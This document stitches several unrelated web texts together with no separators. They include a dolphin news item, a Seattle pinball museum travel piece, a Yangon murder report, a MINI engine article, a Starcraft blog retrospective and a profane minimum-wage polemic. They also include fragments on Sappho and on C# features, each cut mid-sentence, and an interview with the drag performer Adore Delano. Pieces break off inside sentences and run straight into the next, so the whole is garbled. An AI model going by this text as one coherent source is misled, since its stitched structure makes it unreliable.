“The dolphin is merrily making its way in and out of the sluice,” said Mathias Visser, of the Waterways and Shipping Office. “It gives the impression that it’s in a good way. It doesn’t seem to bother the shipping traffic.”
But the Waterways and Shipping Office issued a warning for bathers not to swim too close to the locks.
The Institute for Baltic Sea Research said it suspected the dolphin had been swept in during the winter of 2014, when violent storms forced about 200tn litres of North Sea water into the Baltic Sea, the biggest saltwater inflow for 60 years.
Researchers are trying to establish the dolphin’s origins.The Who's ''Tommy Pinball Wizard" is at the Seattle Pinball Museum.
So are the Rolling Stones, AC/DC, Metallica and Guns 'N Roses.
Sounds like a place to have a rockin' good time.
The rock back The Who wrote and performed "Pinball Wizard" in 1969, as part of the rock opera "Tommy" (the album sold 20 million copies). It was all about "that deaf, dumb and blind kid sure plays a mean pinball.'' The Seattle Opera even staged a performance of "Tommy" in 1971, with Bette Midler performing as the "Acid Queen."
I don't know why the other rockers, the Stones among them, have their own pinball machines, though. But you can play them all if you want, for $13 for one visit or $25 for all day. No need to have a pocket of quarters handy.
The Pinball Museum is in Seattle's International District/Chinatown neighborhood, not far from the Amtrak and Bolt Bus stops that bring visitors back to Portland, should you have some time on your hands.
Or, just plan it into your itinerary, because Seattle's Chinatown is always worth spending some hours. The pinball "museum" set up shop there, at 508 Maynard Ave. South, thanks to a city program called Storefront Seattle that was designed to help new businesses open in vacant storefronts.
It is a museum in name only, because the machines aren't stuffed away behind a velvet rope. They are there to be played, 54 of them dating to 1963. Clerk Mike Martin, the owners' son, said it's an interactive museum, featuring machines from every decade up to the present, all kept in good playing shape.
The parlor sells amusement park-style snack, plus beer and soft drinks, while a TV over the counter shows movies that usually match one of the games (on the day I visited it was the "Creature From the Black Lagoon").
To learn more about pinball (around the country and in Seattle), look at the website pinballmap.com/seattle. You can search on the site for pinball parlors all around the metro area. The listing for Seattle Pinball Museum names the games and the year they were made. The machine ages range from 1963 to 2014.
The museum's King Tut pinball machine came out the same year (1969) that "Pinball Wizard'' was dominating the radio waves _ and when The Who played it live at Woodstock, chasing Abbie Hoffman of Chicago Eight fame off the stage in the process.
-- Terry Richard
trichard@oregonian.com
503-221-8222; @trichardpdxThis article is over 2 years old
Police believe colleague may have left country after victim, also British, was found dead with head and chest wounds in Yangon apartment
Myanmar police hunt for British teacher after colleague is found dead
Myanmar police are looking for a British teacher who they believe might have fled the country after his colleague was found dead following a night of drinking in downtown Yangon.
The 45-year-old victim, also a British man, was found dead inside his co-worker’s apartment with wounds on his head and chest, police said. His wife told officers the pair had been out drinking on Friday night and that she had been unable to reach her husband the following morning.
She contacted authorities on Sunday after reportedly discovering his body inside his 25-year-old colleague’s apartment in Yangon’s downtown riverside district.
“The victim and defendant are school teachers from Horizon international school and they are friends,” a local officer said.
The 25-year-old was being sought by police and remained at large, he added.
“The other teacher has left the country today without informing anyone,” said a police officer in Kyauktada township.
The international school, a private institution that offers classes from kindergarten to high school, did not immediately respond to requests for comment.
Agence France-Presse and Associated Press contributed to this reportThe latest version of MINI’s turbocharged Prince engine features variable valve timing, direct injection and a tall torque plateau that starts early and pulls the Cooper S forward with plenty of gusto. It even does heavier duty under the bonnet of the Countryman. The 2011 model year upgrades to the Prince engine brought adjustments to the power band and solved nagging issues some owners found with their R56s. So it’s little surprise that Wards has named the updated Prince to its Top Ten list of Engines for 2011.
Another new engine on this year’s list is the 1.6L turbocharged direct-injection I-4 that packs a mighty punch in the MINI Cooper S. With a specific output of 113 hp/L, this package quickly rose to the top of a crowded field of new small-displacement 4-cyl. engines in this year’s competition.
The latest “Prince” engine in the Cooper S is assembled for BMW by PSA Peugeot Citroen in Douvrin, France, and integrates BMW’s excellent Valvetronic fully variable valve timing system, which enhances power and fuel efficiency. Driven hard, this prince of an engine still musters better than 34 mpg (6.9 L/100 km) during our test drive.
The full list is as follows:
3.0L TFSI Supercharged DOHC V-6 (Audi S4)
3.0L N55 Turbocharged DOHC I-6 (BMW 335i)
1.6L Turbocharged DOHC I-4 (Mini Cooper S)
3.6L Pentastar DOHC V-6 (Dodge Avenger)
5.0L DOHC V-8 (Ford Mustang GT)
1.4L DOHC I-4/111kW Drive Motor (Chevrolet Volt)
5.0L Tau DOHC V-8 (Hyundai Genesis)
80kW AC Synchronous Electric Motor (Nissan Leaf)
2.0L DOHC I-4 Turbodiesel (Volkswagen Jetta TDI)
3.0L Turbocharged DOHC I-6 (Volvo S60)
Beyond their list of honored engines, Wards went a step deeper in this article looking into the history and technology behind the current powerplant:
The ’06 model year brought a new all-aluminum 1.6L “Prince” I-4, jointly developed with PSA Peugeot Citroen, built in Hams Hall, U.K., and featuring BMW’s Valvetronic variable-valve-lift technology.
It bumped base power to 118 hp and torque to 114 lb.-ft. (155 Nm) with 26/34 mpg (9-6.9 L/100 km) ratings, while its turbocharged (not supercharged) direct-injected variant (without Valvetronic) pumped out a healthy 172 ponies and 177 lb.-ft. (240 Nm), with a temporary overboost feature good for 192 lb.-ft. (260 Nm). Fuel economy for the manual version was 25/32 mpg (9.4-7.4 L/100 km).
For ’11, BMW upped output again by adding direct injection and double VANOS (variable valve timing) to the naturally aspirated 4-cyl., plus Valvetronic and a new twin-scroll turbocharger to the S version.
That gives base-engine drivers 121 hp and 114 lb.-ft. (155 Nm) of torque and moves S owners up to 181 hp and 177 lb.-ft. (240 Nm), with the same 192 lb.-ft. (260-Nm) overboost feature. Manual-transmission coupe ratings now are 29/37 mpg (8.1-6.4 L/100 km) and 27/35 mpg (8.7-6.7 L/100 km), respectively.
The latest twin-scroll Cooper S 4-cyl. turbo earns BMW a second 2011 Ward’s 10 Best Engines Award (along with BMW’s 3.0L N55 turbocharged I-6). After averaging 34/35 mpg (6.9-6.7 L/100 km) in an ’11 Cooper S, “while beating it hard,” Ward’s editors exclaimed that it combines “stunning performance and superb fuel economy.”
We’ve said it before, but it’s good to hear it from other sources. The MINI hits a sweet spot in performance and economy that the competition has trouble matching, and that’s no small engineering accomplishment. The rest of the article is an interesting read if you’re not familiar with the history or motivation behind why MINI has gone the direction they’ve gone with these engines. But what might be most interesting is something MINI USA Product Planning Manager, Vinnie Kung, had to say about the future of MINI engines:
“Everyone has heard that we’re looking at different cylinder counts and different technologies,” Kung says. “It will be a process of optimization of everything we already have — if we can take Valvetronic to the next level, and lubrication systems and accessory drives, and electrify things such as power steering.
“I think in the next three years, when we introduce the next-generation MINI, you will see those technologies. And I would not be surprised to see another 20% improvement in fuel economy.”
A twenty percent increase in fuel economy at the same (or better) power range would be an amazing achievement of engineering. Given how far the MINI engine has come so far, I wouldn’t put it past the fine folks of Frankfurt. Cheers, Vinnie!I have written 173 posts since the release of Heart of the Swarm on 12 March 2013. Let’s review my top 10 favorite posts to commemorate the end of Heart of the Swarm.
My personal ranking of the posts has little to do with the number of views. It mainly takes into account of how satisfied I am with them, and the process I went through when I was writing them.
As you read my comments of these posts below, it is evident that I self-reflect a lot. From there I question my own train of thoughts, and challenge my assumptions. Then, I break things apart and find a solution to my problem. It is actually quite interesting and enjoyable to reflect on what I was thinking when I was coming up with the following posts.
I came up with this post on my bed when I was upset about my defeats against the then popular Roach timing on my bed. I like to think about Starcraft, and it is a good way to improve in my opinion as it allows me to visualise more abstract and “big picture” concepts. I concluded that it was not feasible to hold against this Roach timing with an early third Command Centre and reactor Hellions, and many on various forums were saying “just build Tanks”. Personally, I don’t like to blind counter the meta in an extreme manner, and hence, I want to come up with a versatile way to deal with the Roach timing. This post actually has direct and indirect impact on my highest ranked posts listed below.
This post shows how obsessed I am with details, and how I like to squeeze out every little advantage possible from things that are accountable and within my control. I don’t like to overstate some details about the mid or late game, because they are relatively hard to be conclusive on the motivations behind them. I can still remember the train of thoughts I had when I was thinking about this Command Centre first versus Spawning Pool first interaction. If building the Command Centre on the high ground as part of the wall would still lose me the game against 6 Pool, then why not I just put it on the low ground since it’s better off in other situations. This gets me to think deeper into the details.
This is sort of a self-reflection post, since I used to “throw away” my game plan because opponent played greedy. I would start to pull Scvs and build Bunkers when I scouted it, then failed miserably. Later, I chose to stick to my game plan after I had scouted greedy builds, and that was when I asked myself why would I scout if I don’t make good use of the information I gathered. I started to think from the other perspective (the one who plays the greedy build), and I noticed that I acknowledge the fact that I will just lose if it is an extreme cheese (e.g., proxy two Barracks) but I am favorable in defending against reactionary rushes. It was this back and forth thinking that led me to understand how economical builds react generally.
Everyone wants to bookmark a good scouting guide, and many tried to provide one. For me, there is a dilemma in how comprehensive you want to be in a scouting guide, and this also leads to the presentation problem. I am sure you can find many scouting guides through Google, but few present the information across in a clean manner in terms of structure. As biased as this may sound, I am quite satisfied with what I have written for this TvP scouting post for this presentation reason. I thought the best way to present it is the different phases you need to deliberately look for information, which makes it easier to add to one’s game. It is good enough that I refer to it myself again and again (yes… I am bragging a little).
Since Wings of Liberty, much has been said about how to not die from Protoss’ shenanigans in order to proceed to midgame with a one Barracks expand build, but little is mentioned about the midgame game plan. I covered the general understanding and the rule of thumb of the midgame for the match up in part 1, and I focused on the two dominant play styles in part 2. Many of the issues from the “Protoss is unbeatable” and “can’t do anything against Protoss” posts on forums can be attributed to the lack of understanding to the midgame, and this leads me to write this post. In fact, almost every orthodox TvP games played in Heart of the Swarm fall within this paradigm.
This is not exactly my typical post, and it was more of an opinion to some of the dominant topics in the community at that point of time. There were many discussions and threads about how Starcraft 2 is broken, and badly designed it is. Most of the time, there will be Brood War enthusiasts who just put up their “Brood War above all” flag. This made me draw comparison to the review process and thinking of academia. However, one important difference is that academia is a contribution of many many many top minds of past, present and future, but Starcraft is largely under control of Blizzard. In other words, it is much easier for Blizzard to improve Starcraft in comparison.
This is a good example of challenging my own assumption and of many others. In fact, this build is actually the build I was looking for when I was writing the playing against Roach timing post (ranked no. 10 in this post), because it allows me to take an early third Command Centre and not die to all-ins. It is actually very satisfying to compare these two posts and identify the improvement of my understanding of the game. After this was posted, I noticed that many people have been using the term “defensive banshee” when they discuss this build, so I will like to shamelessly believe that people actually read my stuff (>_<). As expected, these discussions focus more on the build order itself, and less on the rationale behind it. In my opinion, it is the rationale behind it that makes me rank this so highly.
I understand this concept of offender versus defender much earlier than the time of the post itself, but I didn’t post it until I can structure my intangible understanding of the concept well (it is also a good blog post filler when there is nothing interesting happening in the metagame). This concept is extremely important for the Terran mirror match up and it can be applied in any TvT discussion (example). One of the comments in the post asks me to add in vods to aid understanding, but I have yet to do that (haha). Anyway, this post highlights the importance of not scrutinising a specific build order interaction and memorise the “correct” reaction for it, but it is about taking a step back to look at the problem from a broader perspective.
I wrote this post with a bit of fire in my belly. It always agitates me when people analyse builds and write guides on them without understanding the “real” differences and implications. This post basically sums up all I want to say about the way to understand build order, and the misconceptions some have when they over-scrutinise a game played progamers. This fundamental understanding is based on my research of comparing and contrasting many games, and it sets apart my analytical style from others’.
This is my favorite. It underpins almost every build order analytical piece I’ve written. It is like the “three laws of Newton” in physics. I really hope that newer players with some experience in reading build orders to read this post, because it breaks something that seems to be overwhelming to learn into small pieces for easier digestion. As one understands this concept better, the game becomes much more enjoyable. I must also say that it is this basic and critical concept that allows me to discuss other more intangible concepts mentioned above.
Other notable mentions
The understanding convergent points (part 1 and part 2) posts are definitely worth mentioning, because their importance to understanding the game is up there with “understanding build orders in blocks”. However, the reason why I didn’t include them in the top 10 is that I am not really satisfied with the explanation I put forward. Those two posts were posted more than two years ago, and my writing and understanding were not on the same level as what I have now. Thus, in terms of my subjective satisfaction of the production process and outcome, I won’t rank them highly.
Other notable posts include “Polt versus Blink Stalkers“, “Value of Casters” and “TvP: Widow Mine drop (Part 1, Part 2 and Part 3)”. “Polt versus Blink Stalkers” was written in the era when Terran was suffering against Blink Stalkers, and I tried to be as positive as possible to look for solutions. It actually was one of the most viewed posts in this blog. The “Value of Casters” was posted when Tasteless was given some sticks by the community, and I wanted to show some support in my way. The “TvP Widow Mine drop” posts could be better structured in my opinion, but given that I was trying to analyse and post many different variations over a decently long period of time in different time frames, I shouldn’t be too harsh on myself. They were cited often on forums too.
That is it. I will appreciate it if you can share this post around (I don’t normally explicitly say this), because I think the selected posts really contain useful information. And I want to know what you think about this ranking. Do you have others in mind?
If you enjoyed this article, I’d love you to share it with one friend. You can follow me on Twitter and Facebook. If you really like my work, you can help to sustain the site by contributing via PayPal and Patreon. See you in the next article!No currently-legal profession takes more public crap for demanding to be treated like human beings than food service workers. Here’s how and why every single argument against them is complete horseshit.
Though a minimum wage hike, when it happens (and it’s ultimately a case of when, not if), should apply to all professions across the board, fast food workers have—perhaps surprisingly—been the primary force behind the recent drive for more equitable pay structures. Because of this, it’s not surprising that the majority of arguments against raising the minimum wage are directed squarely at food service workers. With Fight For $15 gaining ground lately, it’s important we point out all of the arguments against an increase in the minimum wage, if only so we get in some practice pointing out why they’re so spectacularly wrong.
So how about we do that?
“Raising the minimum wage would be the death-knell of small businesses and restaurants!”
It cannot be stated enough times: if your business model depends on not having to pay your employees a living wage, said business model is hopelessly broken and deserves to fail. That fact is unambiguously clear. What’s less clear is why, if a general minimum wage hike actually would be so abjectly terrible for businesses, the restaurant trendline is moving away from the existing model—reliant on tips—and towards one built around a higher base wage.
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Conservatives love to throw out scare quotes on this point in particular, but they’re full of sound and fury, signifying douchery. Remember all those stories about how restaurants were closing like crazy in Seattle in the wake of the city passing its landmark $15/hour minimum wage increase? Yeah, those were bullshit—no more restaurants were closing than normal, and the ones that did had nothing to do with the wage hike. It should’ve been easy to tell that, though; Republicans showed their hand when they started touting restaurant closures before the wage actually even started to go into effect. Unless those propagating this argument had access to Dr. Emmett Brown’s Delorean and just weren’t telling us, I can’t see a reason we ever should have taken them seriously. It’s hard to say whether conservatives making this point thought the rest of us were too dumb to notice or whether they were actually dumb enough to believe it themselves. Tough call there.
Also worth noting: Seattle’s minimum wage increase—like every other significant wage hike, both actual and proposed—phases in gradually over a period of years. Small businesses in particular are given more leeway and longer deadlines in order to get up to wage snuff—a caveat that resulted in McDonald’s filing a laughable lawsuit based on the “discrimination” they were facing. You poor little corporate juggernaut, you.
That’s where we really hit the rub with this argument: those making it, at least in a professional capacity, don’t give one tin shit about actual small businesses. The only economic interests that matter to them are, unsurprisingly, their own. We can’t really fault them for that—corporate entities must by their very nature act in stark, uncompromising self-interest or else perish from the Earth. But it’s still important to remember that raising the minimum wage ultimately really only hurts one group: major corporations and the assholes in charge of them.
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Frankly, good. Unbelievably rich executives at major corporations have been destroying the country and stepping on everyone else for so long they’re lucky we don’t just cook and eat them at this point. With a few exceptions (Bill Gates, for example, who has genuinely used his money to make the world a better place and convinced other billionaires to do the same—good job, Bill!), these are not people anyone should be aspiring to for any reason. Many of them are legacy idiots with the organizational and management abilities of a heavily-drugged cat-herder. Many more are remorseless sociopaths who would light poor people on fire just so they could laugh as they ran around screaming. That’s not an exaggeration—I’m pretty sure a lot of them would actually enjoy that. It’s also worth noting that America would find it significantly easier to pay for a staggering number of different things (universal health care, fixing our crumbling infrastructure, subsidized secondary education) if corporations were actually made to pay the amount of taxes they currently manage to escape using subsidies and loopholes.
These are the people you’re holding up as paragons, America: some of the worst our culture and our civilization has to offer. Fuck corporations and the people in charge of them, for now and for always. And if the issue here is ultimately about the potential damage to franchisees (the “small businesses” according to their logic), maybe McDonald’s should think about changing their batshit insane franchise agreements.
“But then menu prices will go up and average Americans won’t be able to afford to buy cheap meals!”
This is the favorite talking point of major corporations themselves, and as such, it should be taken with an entire Morton’s factory worth of salt. We also saw it a lot when the ACA passed, with “we can’t afford to provide health care for our employees!” arguments from such luminary dickbags as ambulatory cursed Madame Tussaud’s figure John Schnatter of Papa John’s and thrill-killing human chia pet Jimmy-John Liautaud of Jimmy John’s.*
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Fortunately, it’s an easy enough point to refute: much like with the ACA, where Schnatter was widely mocked for threatening that the cost of pizzas might have to rise an astronomical 17 cents (!!!!!!!!111!!!1one), actual cost to the customer with an increase in minimum wage is remarkably negligible. This is due to a variety of factors, but the biggest one is that increased wage costs are offset by the dramatically decreased cost and corresponding boost to efficiency that comes with reducing turnover. The fact that that consumers wouldn’t face a significant financial burden as a result of increased wages has been repeatedly borne out in studies like one from Purdue University that showed that the average cost of a Big Mac would rise by all of 22 cents. This also isn’t particularly surprising considering the UMass-Amherst study which found that a wage increase from $7.25/hour to $15/hour, phased in over a period of four years, would have little to no impact on the fast food industry’s profit margins in general.
The staggeringly nonsensical counterpoint you hear here as pertains to eateries is “well, that must be wrong because restaurants must have calculated exactly what they can afford to charge and that’s what they’re now charging, if they charge twelve cents more, their business will die.” I can only assume this argument is born from either blind stubbornness or toxic mold inhalation. Restaurants (and in particular fast food eateries) raise their prices incrementally all the time, and the vast majority of them still have extremely healthy profit margins. Customers will tolerate a price increase due to inflation or supply chain issues, but won’t tolerate one due to employer-provided health care or wage increases? To anyone making this argument, answer me this: can you honestly say that you or anyone you know (leaving aside weirdo outliers like your Great Aunt Mildred who loses her shit when a penny goes into the couch cushions) would be deterred from a fast food meal you/they otherwise wanted because of a price increase of 22 cents?
If you can say that, you’re a fucking liar, no you can’t. Stop lying.
“Minimum wage should be unlivable, so the people making it are motivated to do something better! Otherwise, they’ll just be lazy!”
1.
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2. What kind of terrifying sociopathic insanity is this argument? The Hunger Games wasn’t intended to be a guideline for how to run a country, for fuck’s sake. How deep into the well of Randian psychosis does one have to delve before this sounds like a reasonable idea? How much of a remorseless, empathy-lacking lunatic do you have to be to think every sphere of American public life should be fucking Thunderdome?
3. So your argument is that American fast food workers are currently significantly less lazy, by virtue of being treated like dogshit, than fast food workers in other countries who make a living wage? LOL jk I know you totally talk shit about fast food workers as a means of compensating for your own insecurities—all of you fucknuts do. Regardless, I’m pretty sure Denmark’s system works just fine considering their economy hasn’t collapsed in on itself like a dying star. There’s also the fact that fast food restaurants are still plenty profitable there (and everywhere else). And before you start with this (because you always do), there is no valid argument that Denmark is so drastically different from the US that the same system wouldn’t work here. Stop talking.
4. Most importantly, a lot of minimum wage jobs are vital to the health of a functioning society. Simply put, we need people doing them. Not everyone can be managers, and the answer to those who can’t isn’t “LET THEM STARVE, FUCK THE MEEK.” Why would you want everyone competing for management jobs? Why wouldn’t we want people performing vital jobs like farm workers, housekeepers, nursing assistants, fishing industry workers, construction workers, and yes, fast food workers (among others) to be able to lead secure, happy lives, so they’ll keep doing those jobs we so desperately need done? Are you going to do the work for them? No? Then fuck you, we should pay them what they’re worth to society—which sure as hell isn’t $7.50/hour.
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Of all the arguments we’re tackling here, this one is the most fundamentally insane on a staggering array of different levels.
“But I barely make more than $15/hour! Why should they make something close to what I make?”
This is by far the most depressing of the arguments on this list, because it’s the most cataclysmically self-defeating from the perspective of the working class as a whole. To dispel it, we’re going to need to go back to the crab bucket allegory I’ve talked about before.
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The crab bucket mentality gets its name from what happens when a bunch of caught crabs all wind up in a bucket together. If the crabs were to work together, they could all easily escape. When one crab tries to make its exit from captivity, though, what actually happens is that the others pull it right back down. When you see people arguing against a minimum wage increase on the grounds that fast food workers don’t deserve to make what other likewise underpaid workers make, that is as soul-crushingly perfect an illustration of the crab bucket mentality as you’ll ever see.
It’s also absurd on its face, because it assumes the economy won’t ultimately adjust to a new wage baseline. In fact, both theory and actual study have shown pretty conclusively that when the minimum wage is increased, everyone making within 150% of the new minimum ultimately sees a corresponding increase. The idea that wages wouldn’t naturally adjust and everyone at that end of the wage scale wouldn’t wind up making more is laughable.
Furthermore, if you’ve been fortunate enough to dodge the myriad dipshit memes going around about EMT’s making less than what fast food workers are asking for with Fight For $15, well, I’m sorry for inflicting them on you now. On the upside, though, if you haven’t seen them before, you also haven’t seen NY EMT Jens Rushing’s glorious shut-down of that crap. Do yourself a favor and click that link if you haven’t read it before; I promise it’s well worth your time.
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Getting back to the subject at hand, though, let’s also pay attention to its sister argument: “I make $12/hour and I don’t think I should be making the same as fast food employees.” Yes, there are actually people so hell-bent on denigrating fast food workers they are willing to give up an increase in their own hourly wage purely to preserve a false sense of superiority. Think about how demented that is—people will knowingly sacrifice their own livelihood just so they don’t have to feel equal to those they see as beneath them. I wouldn’t believe these people were real if they didn’t love to hang out in my comments section.
Fuckin’ crab bucket, man.
“It’s all the fault of lazy Millennials!”
I didn’t believe this was a real argument people actually made until I started writing about this subject, but holy shit, there are actually individuals both dumb and self-involved enough to think this isn’t one of the stupidest things anyone could possibly say. I’m going to say this once, and then we’re done with responding to “MURICA MURICA MURICA LAZY MILLENNIUHLS PARTICIPAYSHUN TROPHIES TRUUUUUUUUUUUMP,” because I can’t fucking believe we’re still having this painfully idiotic discussion.
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Millennials were handed a broken economy, a hopelessly corrupt student loans system, and the most staggering lack of class mobility in American history, and we turned around to those that handed it to us and went, “uh, this is broken, this is not what you spent our entire lives promising us. We demand something better.” The response we got was “LAZY INGRATES! When I was a youth, I paid for college with a summer job! Why can’t you just do that?!”
We’re smart enough to know the game is rigged, and when we refuse to participate in a broken system and fight for something better, we’re somehow the bad guys, the lazy ones. Part of this is the same crab bucket problem as the previous entry, but more of it is simple generational factionalism masquerading as the self-considered gospel truth of wise elders. Baby Boomers—the most self-centered generation in the history of human civilization—broke the country and somehow had the gall to be shocked when Millennials weren’t grateful for it.
So take that weak-ass anti-Millennial garbage out of here, because every time you bring it, we’re going Mutombo and parking that shit in the fourth row.
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“If you raise the minimum wage, you’ll all just get replaced by robots, HOW DO YOU LIKE THEM APPLES?!” *smug smirk*
Most of the other arguments on this list make me sad or frustrated, but this is the one that gets me actively angry. Part of why that is—the obvious part—is that it’s always delivered with such smug condescension, like no one could possibly have a response to it. “Lo!” these people think. “I have harnessed my superior brainpower and lain down an ace which cannot be countered! BEHOLD MY ERUDITIONAL MAJESTY!”
But most of why this argument is infuriating is actually less due to the insufferableness of its proponents and more because it’s so deeply fucking stupid. In coming up with what they think is the ultimate trump card, opponents of a minimum wage have made the dumbest possible argument against it.
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Short version: NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOPE.
Long version: the thing about fast food robots is that the technology isn’t currently good enough to effectively replace workers. Yeah, I know Sheetz and Wawa use some touchscreens, but there’s a reason they still need actual live bodies to staff those places. Sure, maybe automated ordering interfaces can handle limited queues in ideal conditions, but dealing with a busy restaurant at rush time is still far beyond their capabilities. This is evidenced pretty clearly by the fact that a McDonald’s in San Francisco currently pilot-testing automated ordering systems actually had to hire more workers as a result of their touchscreens.
You know how we know a wage increase won’t suddenly make fast food companies replace all their employees with robots? Because if that were the case, it would’ve happened already. Automation, insofar as it’ll ever be fully possible when it comes to food service (and the ceiling for involvement here isn’t nearly as high as Republicans desperately want to think**), will happen when the technology and the cost makes it viable, and there’s not a damn thing we can actually do to stop it. It’s not going to magically happen purely because workers started demanding to be treated like actual human beings. Cost-viability on something like that—at least to the degree that robots or touchscreens could actually replace workers, rather than simply making their job easier—is still quite a ways off, regardless of if those workers are paid $8 or $15. Machines and their upkeep are not cheap.
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In short, knock it off with this bullshit. Or you could keep spouting this talking point despite all the evidence stacked up against you. Let me know when you come up with a comeback for the fact that supermarket checkout clerks still exist.
* Worth reminding everyone: in addition to its owner murdering the fuck out of endangered species, Jimmy John’s has been sued for systematic wage theft and has the most absurd, regressive, horrific non-compete agreements I’ve ever seen. Jimmy John Liautaud has a strong case for Most Evil Businessman in America.
** By the way, how fucking ghoulish is it to gleefully root for the demise of peoples’ livelihoods purely so you can win a political argument? How goddamned monstrous is that?
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Image via kryzhov/Shutterstock.Sappho and Alcaeus were both contemporaries, natives of Mytilene on Lesbos, and aristocrats affected by local power struggles, but beyond that, they had little in common—except the most important: a gift for writing lyric poetry. In explanation for their remarkable talent it was said that when Orpheus (the father of songs) was torn to pieces by the Thracian women, his head and lyre were carried to and buried on Lesbos.
Sappho and Women
Lyric poetry was personal and evocative, allowing the reader to identify with the poet's private despair and hopes. It's for this reason that Sappho, even 2600 years later, can arouse our emotions.
We know Sappho gathered about herself a group of women, but debate continues as to its nature. According to H.J. Rose, "It is not an unattractive theory that they were formally a cult-organization or thiasos." On the other hand, Lesky says it need not have been a cult, although they did worship Aphrodite. Sappho also need not be thought of as a schoolmistress, although the women learned from her. Lesky says the purpose of their life together was to serve the Muses.
Sappho's Poetry
The subjects of Sappho's poetry were herself, her friends and family, and their feelings for each other. She wrote about her brother (who seems to have led a dissolute life), possibly her husband*, and Alcaeus, but most of her poetry concerns the women in her life ( |
way to handle some scenarios:
// Using C# 7 pattern matching if (O is Point p && p.X == 5) { WriteLine($"Y: {p.Y}")} // Same scenario with alternative syntax for future versions if (o is Point X {var x, Y: var y} && x == 5) { WriteLine($"Y: {y}")} if (o is Point { X : 5, Y: var y}) { WriteLine($"Y: {y}")} if (o is Point(5, var y)) { WriteLine($"Y: {y}")}
Nullable reference types implementation is still ongoing, the reason being to raise warnings when the compiler detects incoherent use of null values:
string? n; string s; n = null; // OK, nullable s = null; // warning, shouldn't be null s = n; // warning WriteLine(s.Length); // Sure; it's not null WriteLine(n.Length) // Warning! could be null
Record type, an immutable value type, is another feature being developed. Immutability makes sharing data in a concurrent environment safer, as well as makes programs easier to reason about. A record type provides a terser way to use immutability in C#. A record has default value semantic, meaning out of the box implementation for getters, GetHashCode and equality members.Center Stage with Adore Delano: St. Louis PrideFest 2015 Headliner
Quest Diagnostics proudly presents Adore Delano who will emcee and entertain at the PrideFest Bud Light Entertainment Stage on Saturday, June 27 from 5-9 p.m. The RuPaul's Drag Race Season 6 finalist (and American Idol alum) promises an infectious performance that will not soon be forgotten.
We're excited to have you at St. Louis PrideFest - what do you have in store for audiences this summer?
Willam calls me a cat with rabies when I perform, so maybe just to give everyone rabies and to have so much fun!
Take me back to the first time you went to a LGBT pride event; what was that experience like?
Yea, I was 17 or 18 and went with my cousin. It was so awesome because there were kids and parents and it was kind of like this big unity of love and no one cared and it was really fun to be around.
How many prides do you attend on the circuit? It must be a really fun gig to see how the various cities celebrate.
Last year we did a really big pride run; we went to World Pride in Canada, we did New York - we did it all over the world and it was so neat to see the different cultures, the different community of it all. It was really neat.
We loved seeing you at BOTS in Missouri this year - you've toured the country, the world - what's the craziest thing that happened on to you; what's the one story you're constantly telling friends about?
Amsterdam was nuts, I got so wasted, I lost my phone - I don't know what happened. Bianca and I - it was like 5:30 in the morning and we're leaving for the airport at 6 and we're in the streets of Amsterdam and she had to find my phone in the gutter. It was so cool.
And you were just recently in Brazil too....
Oh my God, It was so friggin' awesome. The people there are nuts. They think they're Lady Ga Ga there, it is so cool.
Which Drag Racer have you formed the closest bond with and why?
Bianca! She's literally like family - her and Detox are like family, and Courtney and Darienne. I could name a lot but Bianca and I are really close - she's really like an older brother to me. When I have a problem and I don't want to bother my mom at home I talk to her and we're each other's little counselors, I like to think.
Mother's Day was yesterday - we know you've got a special bond with your mother. How has that relationship impacted you as a gay man, as an entertainer?
I feel blessed because I have so many friends that aren't really accepted by their families. My mom - she did it all. She was my dad, my mom, my grandparents - she was everything so I really didn't need anybody else. Growing up, I didn't have a lot of friends and she noticed I was different and she was like my best friend growing up in the house with my two brothers versus my mom and I. She's like my road dog and I love her to death. And yesterday was fun. We were playing Mortal Kombat X all day with family.
So this morning we woke up to the news that American Idol will be cancelled - thoughts on that - and had you ever thought about giving it another shot post Drag Race?
Never! I think that whole series ended after Season 9. I mean they play too much to the judges and they weren't making any stars anymore. It's like they were milking that just to get ratings and it just sucked because that show was such a phenomenon and it changed people's lives and gave people careers. I feel like they lost touch with that - they weren't making stars anymore and it just got old. I think it was time about five seasons ago.
Who or what inspires you?
Life inspires me. It depends on what I go through that inspires how I look, how I act. My mom inspires me, love inspires me; tragedy, beauty. I find the beauty in everything. Last year I went through a lot of shit and it felt like I grew up in 10 years. The new album that I'm working on is really, really dark and more serious because it's talking about the shit that I actually went through last year and it completely inspired me and I took the beauty out of the tragedy of life. I'm just really sad right now. I think I'm Lana Del Rey sometimes.
Do you consider yourself a singer first and foremost?
Yes, absolutely. I consider myself a musician that just so happens to be a drag queen.
Do you still do gigs as a boy?
I don't ever do gigs as a boy. I got asked by my company to do a Danny album and I turned it down because after they heard "I Adore You" they were wanting to play it on the radio but they didn't want it to be Adore Delano they wanted it to be Danny and I told them absolutely not. I've worked too fucking hard for my name and working for free for almost two years in the drag community to just have it all erased. I'm not using drag for a fucking music career. I'm totally happy the way things are working out today as a drag princess. No, I don't want to. Danny's boring.
We should know the winner of Season 7 of RuPaul's Drag Race when this interview is published. Any predictions; what are your thoughts on this season?
I mean it's boring but I love Violet. I love Violet's personally, I got to party with her in Atlanta. She's really pretty, she's got a good head on her shoulders. She's very smart for being so young. But yea, this season is all over the place to me. There's not like one stand out winner and I think that kind of kills the fun in it; like okay, I have an idea who the top three is going to be and then BenDeLaCreme's not in it and everybody goes crazy. No one really knows what's going to happen. And they need to stop doing all of these singing challenges and these dancing challenges. They're not singers! It's just season so.
Tell us a bit more about your upcoming album.
I'm so exciting about this album. We wrote a song yesterday - I record the demos after we're done writing them - and I literally had tears in my eyes. And my writer's like, dude, you're so emo. And I'm like no, I want to talk about real shit. Fuck! The party's over man. I don't want to talk about being fucking awesome. Everybody knows I'm awesome. I want to talk about some sad shit. It's going to be really cool - just darker and more serious.
If you had to sum up the album in one word what would it be?
I just think it's beautiful. The sounds are beautiful, everything's just really well produced and really well thought out. I pushed the album's release back because I wanted more time writing these songs and I wanted them to be perfect.
What comes first - the words, the music or is it sort of an amalgamation of both?
They usually send me demos of sounds or songs and I'll turn them down or say yea. The ones that I like I'll have them readjust it and we'll work together on what sounds I want on the song and it's a back and forth. Usually I write to instrumentals and just melodies of songs and we put them together.
How much of the content that you produce actually makes it onto the album?
I would say 80 percent of what we write and record as a demo makes it onto the album. It'll change. One of the songs "Bolted Love" - we're going to change it and we're bringing it down a bit. It's like "Party" - "Party" was way too loud so we changed it in the video. That's just the beauty of art and creating it together.
You'll be performing at PrideFest - what does PRIDE mean to Adore Delano?
